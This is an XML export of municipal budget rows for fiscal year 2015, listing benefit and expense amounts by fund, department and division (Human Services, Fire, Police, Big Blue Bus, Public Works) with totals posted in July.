<row _id="15051"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>8710.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8710.0</total></row>
<row _id="15052"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2778.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2778.0</total></row>
<row _id="15053"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561404.0</object><object_description>PROJECT HOMECOMING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>35893.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>35893.0</total></row>
<row _id="15054"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>45029.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>45029.0</total></row>
<row _id="15055"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>10318.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10318.0</total></row>
<row _id="15056"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>7106.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7106.0</total></row>
<row _id="15057"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>8279.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8279.0</total></row>
<row _id="15058"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1574.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1574.0</total></row>
<row _id="15059"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>504.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>504.0</total></row>
<row _id="15060"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1078.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1078.0</total></row>
<row _id="15061"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4012.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4012.0</total></row>
<row _id="15062"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1366.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1366.0</total></row>
<row _id="15063"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>12390.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12390.0</total></row>
<row _id="15064"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>373573.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>373573.0</total></row>
<row _id="15065"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2012.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2012.0</total></row>
<row _id="15066"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object xsi:nil="true" /><object_description>WELLNESS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15067"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>28808.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>28808.0</total></row>
<row _id="15068"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5792.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5792.0</total></row>
<row _id="15069"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>25133.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25133.0</total></row>
<row _id="15070"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1986.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1986.0</total></row>
<row _id="15071"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>18037.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18037.0</total></row>
<row _id="15072"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>10945.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10945.0</total></row>
<row _id="15073"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>289656.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>289656.0</total></row>
<row _id="15074"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>98735.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>98735.0</total></row>
<row _id="15075"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>52521.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>52521.0</total></row>
<row _id="15076"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>228015.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>228015.0</total></row>
<row _id="15077"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3282.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3282.0</total></row>
<row _id="15078"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>543.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>543.0</total></row>
<row _id="15079"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2666.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2666.0</total></row>
<row _id="15080"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>216.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>216.0</total></row>
<row _id="15081"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2431.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2431.0</total></row>
<row _id="15082"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4594.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4594.0</total></row>
<row _id="15083"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>8161.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8161.0</total></row>
<row _id="15084"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5047.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5047.0</total></row>
<row _id="15085"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>WELLNESS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15086"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2874.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2874.0</total></row>
<row _id="15087"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>83542.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>83542.0</total></row>
<row _id="15088"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>10784.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10784.0</total></row>
<row _id="15089"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>273823.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>273823.0</total></row>
<row _id="15090"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1546.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1546.0</total></row>
<row _id="15091"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>11470.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11470.0</total></row>
<row _id="15092"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>7023.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7023.0</total></row>
<row _id="15093"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>130963.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>130963.0</total></row>
<row _id="15094"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2198.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2198.0</total></row>
<row _id="15095"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511712.0</object><object_description>MEDICARE-FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>19855.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19855.0</total></row>
<row _id="15096"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>8726.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8726.0</total></row>
<row _id="15097"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6090.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6090.0</total></row>
<row _id="15098"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>10890.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10890.0</total></row>
